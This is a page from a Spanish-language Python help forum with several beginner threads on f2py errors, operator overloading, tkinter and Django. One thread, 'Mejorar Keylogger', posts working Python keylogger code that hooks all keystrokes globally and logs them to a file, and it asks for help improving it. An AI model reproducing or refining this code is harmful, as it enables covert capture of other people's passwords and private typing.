Bienvenido, Invitado
Tienes que registrarte para poder participar en nuestro foro.

Nombre de usuario/Email:
  

Contraseña
  





Buscar en los foros

(Búsqueda avanzada)

Últimos temas
f2py no funciona
Foro: General
Último mensaje por: Francisco
Hace 9 minutos
» Respuestas: 1
» Vistas: 4
¿Sobrecarga de operadores...
Foro: General
Último mensaje por: Francisco
Hace 9 horas
» Respuestas: 1
» Vistas: 8
[tkinter] Importar al pro...
Foro: Aplicaciones de escritorio
Último mensaje por: Francisco
Hace 9 horas
» Respuestas: 5
» Vistas: 206
python!!!!!!! no reconoc...
Foro: General
Último mensaje por: Francisco
Hace 9 horas
» Respuestas: 1
» Vistas: 37
Problema con Binds en Cal...
Foro: Aplicaciones de escritorio
Último mensaje por: Francisco
Hace 9 horas
» Respuestas: 1
» Vistas: 15
Mejorar Keylogger
Foro: General
Último mensaje por: botters
12-02-2019, 11:52 PM
» Respuestas: 0
» Vistas: 49
Equivalente tk.Text con t...
Foro: Aplicaciones de escritorio
Último mensaje por: Francisco
12-02-2019, 02:56 PM
» Respuestas: 1
» Vistas: 51
Creación de entornos virt...
Foro: General
Último mensaje por: Francisco
08-02-2019, 11:07 PM
» Respuestas: 1
» Vistas: 101
Sensibilidad a Mayusculas...
Foro: Web
Último mensaje por: yoannepd
07-02-2019, 08:51 PM
» Respuestas: 5
» Vistas: 196
Interactuar con clases tk...
Foro: Aplicaciones de escritorio
Último mensaje por: Myszowor
06-02-2019, 05:34 PM
» Respuestas: 7
» Vistas: 185

 
  f2py no funciona
Enviado por: mavi - Hace 8 horas - Foro: General - Respuestas (1)

Actualmente instalado en windows 10,  miniconda con los paquetes numpy y matplotlib.
 por otro lado está instalado minGW versión GNU Fortran (tdm64-1) 5.1.0
 
 La versión de conda instalada es:  4.6.3
 a la hora de ejecutar f2py desde prompt de python sale el siguiente error:
  > f2py -c holaMundo.f90 -m holaMundo
running build
running config_cc
unifing config_cc, config, build_clib, build_ext, build commands --compiler options
running config_fc
unifing config_fc, config, build_clib, build_ext, build commands --fcompiler options
running build_src
build_src
building extension "holaMundo" sources
f2py options: []
f2py:> C:\...\src.win-amd64-3.7\holaMundomodule.c
creating C:\...\src.win-amd64-3.7
Reading fortran codes...
        Reading file 'holaMundo.f90' (format:free)
Traceback (most recent call last):
  File "C:\...\miniconda3\Scripts\\f2py.py", line 28, in <module>
    main()
  File "C:\...\miniconda3\lib\site-packages\numpy\f2py\f2py2e.py", line 648, in main run_compile()
  File "C:\...\miniconda3\lib\site-packages\numpy\f2py\f2py2e.py", line 633, in run_compile
    setup(ext_modules=[ext])
  File "C:\...\miniconda3\lib\site-packages\numpy\distutils\core.py", line 169, in setup
    return old_setup(**new_attr)
  File "C:\...\miniconda3\lib\distutils\core.py", line 148, in setup
    dist.run_commands()
  File "C:\...\miniconda3\lib\distutils\dist.py", line 966, in run_commands
    self.run_command(cmd)
  File "C:\...\miniconda3\lib\distutils\dist.py", line 985, in run_command
    cmd_obj.run()
  File "C:\...\miniconda3\lib\site-packages\numpy\distutils\command\build.py", line 47, in run
    old_build.run(self)
  File "C:\...\miniconda3\lib\distutils\command\build.py", line 135, in run
    self.run_command(cmd_name)
  File "C:\...\miniconda3\lib\distutils\cmd.py", line 313, in run_command
    self.distribution.run_command(command)
  File "C:\...\miniconda3\lib\distutils\dist.py", line 985, in run_command
    cmd_obj.run()
  File "C:\...\miniconda3\lib\site-packages\numpy\distutils\command\build_src.py", line 148, in run
    self.build_sources()
  File "C:\...\miniconda3\lib\site-packages\numpy\distutils\command\build_src.py", line 165, in build_sources
    self.build_extension_sources(ext)
  File "C:\...\miniconda3\lib\site-packages\numpy\distutils\command\build_src.py", line 327, in build_extension_sources
    sources = self.f2py_sources(sources, ext)
  File "C:\Users\u405892\AppData\Local\Continuum\miniconda3\lib\site-packages\numpy\distutils\command\build_src.py", line 564, in f2py_sources
    ['-m', ext_name]+f_sources)
  File "C:\Users\u405892\AppData\Local\Continuum\miniconda3\lib\site-packages\numpy\f2py\f2py2e.py", line 408, in run_main
    postlist = callcrackfortran(files, options)
  File "C:\...\miniconda3\lib\site-packages\numpy\f2py\f2py2e.py", line 329, in callcrackfortran
    postlist = crackfortran.crackfortran(files)
  File "C:\...\miniconda3\lib\site-packages\numpy\f2py\crackfortran.py", line 3246, in crackfortran
    readfortrancode(files, crackline)
  File "C:\...\miniconda3\lib\site-packages\numpy\f2py\crackfortran.py", line 537, in readfortrancode
    dowithline(finalline)
  File "C:\...\miniconda3\lib\site-packages\numpy\f2py\crackfortran.py", line 747, in crackline
    % (groupcounter))
Exception: crackline: groupcounter(=0) is nonpositive. Check the blocks.

Y no se genera ningún fichero... ¿que se puede hacer?
Gracias y Saludos

Imprimir

  ¿Sobrecarga de operadores que lo hacen por defecto?
Enviado por: Storm - , 10:34 AM - Foro: General - Respuestas (1)

Hola de nuevo!  Smile

Echando un vistazo a la sobrecarga de operadores me surge una duda. Recientemente he instalado python 3.7 y no se tiene algo que ver con esta version. Por ejemplo, si sobrecargo un metodo magico relacional asi:

Código:
class Animal:
   def __init__(self, peso):
       self.peso = peso
       
   # Menor que...
   def __lt__(self, other):      
       return self.peso < other.peso
   
   # Menor o igual que...
   def __le__(self, other):        
       return self.peso <= other.peso
   
 



elefante = Animal(1000)
leon = Animal(300)

print(elefante < leon)
print(elefante > leon)
print(elefante == leon)
print(elefante != leon)
print(elefante <= leon)
print(elefante >= leon)

Me da como resultado:
Código:
False
True
False
True
False
True
Pero claro, yo los otros metodos relacionales en la clase no los he definido. 
Incluso si dejo sin definir el metodo __le__ me da una excepcion. Por lo que aun me asaltan mas dudas de como opera todo esto:
Código:
class Animal:
   def __init__(self, peso):
       self.peso = peso
       
   # Menor que...
   def __lt__(self, other):      
       return self.peso < other.peso
   '''
   # Menor o igual que...
   def __le__(self, other):        
       return self.peso <= other.peso
   '''
   
 



elefante = Animal(1000)
leon = Animal(300)

print(elefante < leon)
print(elefante > leon)
print(elefante == leon)
print(elefante != leon)
print(elefante <= leon)
print(elefante >= leon)

Me salta la excepcion:
Código:
False
True
False
True
Traceback (most recent call last):
 File "relacionales.py", line 27, in <module>
   print(elefante <= leon)
TypeError: '<=' not supported between instances of 'Animal' and 'Animal'
 Cosa que veo normal al no definir el metodo __le__
Pero claro, tampoco he definido los otros metodos relacionales y en cambio python he realizado las operaciones de True y False.
La duda que tengo es si se deben definir todos los metodos de relacionales. Porque en el primer ejemplo que puse, con solo definir un par, no da ningun error.
Gracias!

Imprimir

  Problema con Binds en Calculadora Tkinter
Enviado por: kronoxo - 16-02-2019, 12:51 AM - Foro: Aplicaciones de escritorio - Respuestas (1)

Tengo una calculadora hecha en Tkinter. La misma realiza las operaciones básicas (Sumar,restar, multiplicar, dividir). Pero todo presionando los botones de la interfaz. Quiero saber como puedo incluirle los binds, para introducir los números al presionar en el teclado, asi como también cuando presione return haga el cálculo con las operaciones que he indicado. Aquí les dejo el código, espero puedan ayudarme u.u. De corazón, Muchas gracias

Código:
import sys
from tkinter import *

#funciones de operación

def btnClick(numbers):
   global operator
   operator = operator + str(numbers)
   num1.set(operator)

def btnClear():
   global operator
   operator = ""
   num1.set(operator)

def btnEquals():
   global operator
   sumup = str(eval(operator))
   num1.set(sumup)
   operator = ""  


micolor = '#d3d3d3'

#Frame principal
root = Tk()
frame = Frame(root, width=20)
frame.pack()

#Titulo Calculadora
root.title('Calculadora')



#operador
operator=""

#Campo de Texto
num1 = StringVar()

topframe = Frame(root)
topframe.pack(side = TOP)
txtDisplay = Entry(frame,textvariable = num1, bd=5, insertwidth=1, font=30, justify="right")
txtDisplay.focus()
txtDisplay.pack(side = TOP)

#Botones
boton1 = Button(topframe,padx=10,pady=10,bd=3,text="1",fg="black", command = lambda:btnClick(1))
boton1.pack(side = LEFT)
boton2 = Button(topframe,padx=10,pady=10,bd=3,text="2",fg="black", command = lambda:btnClick(2))
boton2.pack(side = LEFT)
boton3 = Button(topframe,padx=10,pady=10,bd=3,text="3",fg="black", command = lambda:btnClick(3))
boton3.pack(side = LEFT)
boton4 = Button(topframe,padx=10,pady=10,bd=3,text="4",fg="black", command = lambda:btnClick(4))
boton4.pack(side = LEFT)

frame2 = Frame(root)
frame2.pack(side = TOP)

#Botones
boton1 = Button(frame2,padx=10,pady=10,bd=3,text="5",fg="black", command = lambda:btnClick(5))
boton1.pack(side = LEFT)
boton2 = Button(frame2,padx=10,pady=10,bd=3,text="6",fg="black", command = lambda:btnClick(6))
boton2.pack(side = LEFT)
boton3 = Button(frame2,padx=10,pady=10,bd=3,text="7",fg="black", command = lambda:btnClick(7))
boton3.pack(side = LEFT)
boton4 = Button(frame2,padx=10,pady=10,bd=3,text="8",fg="black", command = lambda:btnClick(8))
boton4.pack(side = LEFT)

frame3 = Frame(root)
frame3.pack(side = TOP)

boton5 = Button(frame3,padx=10,pady=10,bd=3,text="9",fg="black", command = lambda:btnClick(9))
boton5.pack(side = LEFT)
boton6 = Button(frame3,padx=10,pady=10,bd=3,text="0",fg="black", command = lambda:btnClick(0))
boton6.pack(side = LEFT)
boton5 = Button(frame3,padx=10,pady=10,bd=3,text="C",fg="black",command= btnClear)
boton5.pack(side = LEFT)
boton6 = Button(frame3,padx=10,pady=10,bd=3,text="=",fg="black", command = btnEquals)
boton6.pack(side = LEFT)


frame4 = Frame(root)
frame4.pack(side = TOP)

boton5 = Button(frame4,padx=10,pady=10,bd=3,text="*",fg="black", command = lambda:btnClick("*"))
boton5.pack(side = LEFT)
boton6 = Button(frame4,padx=10,pady=10,bd=3,text="/",fg="black", command = lambda:btnClick("/"))
boton6.pack(side = LEFT)
boton5 = Button(frame4,padx=10,pady=10,bd=3,text="-",fg="black", command = lambda:btnClick("-"))
boton5.pack(side = LEFT)
boton6 = Button(frame4,padx=10,pady=10,bd=3,text="+",fg="black", command = lambda:btnClick("+"))
boton6.pack(side = LEFT)



root.mainloop()

Imprimir

  python!!!!!!! no reconoce el __init__ al momento de hacer un objeto
Enviado por: v3ngad0rx - 14-02-2019, 04:30 AM - Foro: General - Respuestas (1)

[size=undefined]hola amigos que usan python3 estoy practicando con las clases en este lenguaje, ya llevo tiempo usando asta ahora me da este problema pero en realidad ya busque por varios foros pero no tienen respuesta... espero me puedadn ayudar

el codigo es el siguiente...
[/size]


Código:
class Saludo:
    
    def __init__(self):
        print('nuevo objeto tipo gato')

    def boca(self):
        print('el gato dice miau')

    def corre(self):
        print('el gato puede correr')



Al momento de realizar una objeto de esa clase lo import sin ningun problema


Código:
>>> from gato import Saludo
>>> a = Saludo
>>> a.boca
<function Saludo.boca at 0x000001DD7EBE8730>
>>>


[size=undefined]pero no me retorno lo que me tendria que retornor

que obiamente primo serie el __init__
porteriore el metodo que le estoy agregando que seria 'boca'
[/size]



[size=undefined]gracias por su ayuda[/size]

[Imagen: pythonfeatured.jpg]

Imprimir

  Mejorar Keylogger
Enviado por: botters - 12-02-2019, 11:52 PM - Foro: General - Sin respuestas

Buenas noches, estoy estudiando un keylogger y he podido entender algunas cosas y modificar, pero tengo un problema y es que a veces me registraba todas las teclas pero le faltaban que si 2, y me di cuenta que era por el backspace, al tenerlo presionado borra todo el archivo, como podria ponerlo optimo? espero que me puedan ayudar

from functools import partial
import atexit
import os
import keyboard
MAP = {
    "space": " ",
    "\r": "\n"
}
# Ubicación y nombre del archivo que guarda las teclas presionadas.
FILE_NAME = "testando10.txt"
# Determina si el archivo de salida es limpiado cada vez que se
# inicia el programa.
CLEAR_ON_STARTUP = False
# Tecla para terminar el programa o None para no utilizar ninguna tecla.
TERMINATE_KEY = "esc"
def callback(output, is_down, event):
    if event.event_type in ("up", "down"):

        # Esta línea lee el caracter presionado
        key = MAP.get(event.name, event.name)
          if key in ["backspace"]:
                with open(FILE_NAME, 'rb+') as f:
                    f.seek(0,2)                
                    size=f.tell()               
                    f.truncate(size-1)    
        # Luego valido que dicho caracter no esté en la lista ["backspace","enter"]
        if key not in ["backspace","enter", "tab", "right shift", "caps lock", "shift", "right ctrl", "esc", "left windows", "right", "f1", "f2", "f3", "f4", "f5", "f6", "f7", "f8", "f9" ]:
          modifier = len(key) > 1

          # Capturar únicamente los modificadores cuando están siendo
          # presionados.
          if not modifier and event.event_type == "down":
              return
          # Evitar escribir múltiples veces la misma tecla si está
          # siendo presionada.
          
          if modifier:
              if event.event_type == "down":
                  if is_down.get(key, False):
                      return
                  else:
                      is_down[key] = True
              elif event.event_type == "up":
                  is_down[key] = False
              # Indicar si está siendo presionado.
              key = " [{} ({})] ".format(key, event.event_type)
          elif key == "\r":
              # Salto de línea.
              key = "\n"

          # Escribir la tecla al archivo de salida.
          output.write(key)
          # Forzar escritura.
          output.flush()
def onexit(output):
    output.close()
def main():
    # Borrar el archivo previo.
    if CLEAR_ON_STARTUP:
        os.remove(FILE_NAME)

    # Indica si una tecla está siendo presionada.
    is_down = {}

    # Archivo de salida.
    output = open(FILE_NAME, "a")

    # Cerrar el archivo al terminar el programa.
    atexit.register(onexit, output)

    # Instalar el registrador de teclas.
    keyboard.hook(partial(callback, output, is_down))
    keyboard.wait(TERMINATE_KEY)
if __name__ == "__main__":
    main()

Imprimir

  Equivalente tk.Text con ttk
Enviado por: javgoji - 12-02-2019, 11:14 AM - Foro: Aplicaciones de escritorio - Respuestas (1)

Hola a todos.
Me gustaría saber si existe un widget ttk que sea equivalente a tk.Text.
Una caja de texto, abreviando.
Hasta ahora he encontrado todas los widgets equivalentes menos éste.
Gracias de antemano

Imprimir

  Creación de entornos virtuales Python en OSX
Enviado por: javgoji - 08-02-2019, 03:20 PM - Foro: General - Respuestas (1)

Hola.
Me gustaría saber qué es esto.
Parece ser que es algo recomendable para cada uno de los desarrollos que haga.
No se en carpetas del sistema OSX lo que supone ni internamente lo que hace y supongo que también tendré que tener en cuenta esto a la hora de instalar paquetes o módulos  como Django.
En fin, como veis estoy hecho un lío.
Estoy empezando y creo que esto es importante a la hora de empezar sin líos con las versiones Python diferentes ya que OSX ya lleva una version antigua de Python preinstalada.
Gracias de antemano

Imprimir

  Django - Filtro en controles de un formulario
Enviado por: cmfab - 04-02-2019, 06:21 PM - Foro: Web - Sin respuestas

Estimados, junto con saludarlos les comento que me estoy iniciando en la programación con Pyhon 3.7 y Django quisiera hacer la siguiente consulta:

Necesito saber como puedo ir filtrando los controles de tipo forms.select que se basan en modelos o tablas de una base de datos y los cuales se incluyen en un formulario. por ejemplo si tengo un combobox que muestra las provincias que al seleccionarlas, el próximo control comobox que muestra las localidades solo incluya las que pertenecen a la provincia seleccionada en el nivel anterior. Imagino que haya que implementar algún evento tipo onchange o algo así pero no he podido entender bien como hacerlo y no he encontrado documentación en la web.

Gracias de antemano!

Imprimir

  ¿Como instalar un version anterior de pip?
Enviado por: Storm - 03-02-2019, 04:29 PM - Foro: General - Respuestas (3)

Hola!

Recientemente he instalado python 3.7. Me daba un poco de miedo porque tenia instalada la version 3.4. Pero probando algunos scripts he visto que estos funcionan bien. El problema me surge con en el instalador de paquetes pip.

He conseguido instalar algunos modulos. Pero me recomendaban instalar la version 19 de pip. Pues con esta version, parece, que no se instala bien el paquete pyinstaller. Y por lo que he podido leer recomiendan que se haga con el pip 18.1 (la anterior version). 

Por otro lado tambien comentan que cx_freeze para python 3.7 tiene un bug y no se instala bien. Creo que hasta lo han quitado de la web y esta la instalacion de python 3.6. Pero tampoco se me instala, salen mucho errores al igual que el paquete pyinstaller.

En cambio con otros modulos no he tenido problemas: colorama, pandas, numpy, matplotlib, cocos2D, pygame, etc...

Saludos!

Imprimir

  Interactuar con clases tkinter
Enviado por: Myszowor - 03-02-2019, 02:53 PM - Foro: Aplicaciones de escritorio - Respuestas (7)

Buenas:

Tengo un problema a la hora de interactuar con dos clases.

 tengo el siguiente código (es un ejemplo y no hagáis caso a los import porque son de la aplicación que estoy haciendo): 

from tkinter import *
from tkinter import ttk
from datetime import *
from tkinter import messagebox
import time
import calendar
import threading
from threading import Timer
import psycopg2
import os
import sys


class A:
    
    def __init__(self):
        
        # MAIN WINDOW
        
        def cambio():
            self.boton.configure(style="Esti.TButton")    
            
        self.root = Tk()
        self.root.title('PRUEBAS')
        self.root.geometry('400x400')    
    
        estilo = ttk.Style()
        estilo.configure("Esti.TButton", background = 'light green')
        
        self.boton = ttk.Button(self.root, text='PRUEBA', command=B)
        self.boton.grid(row=0, column=1)
    
        self.root.mainloop()

class B:
    
    def __init__(self):
        
        # MAIN WINDOW
        
        def instanciar():
            self.a = A()
            self.boton.configure(style="Esti.TButton")          
    
        self.top = Toplevel()
        self.top.title('A VER')
        self.top.geometry('400x400')
        
        self.boton1 = ttk.Button(self.top, text='CAMBIO', command=instanciar)
        self.boton1.grid(row=0, column=0)
        
        self.top.mainloop()
        

def main():
    my_app = A()

if __name__ == '__main__':
    main()

Todo funciona perfectamente excepto que soy incapaz de hacer que desde la clase B, al pulsar el botón de cambio, me cambie el color del botón de la clase A.
siempre me dice que la clase B no tiene los atributos de A (Lo máximo que he conseguido es instanciar un objeto con la clase A. (Que conste que mediante funciones sin clases es relativamente sencillo hacerlo y que funcione pero no es lo que estoy buscando hacer aunque si no tengo más remedio lo haré.

Alguna idea de como ejecutar comandos desde una clase para interactuar con otra?

Sé que me explico como un libro cerrado.

Imprimir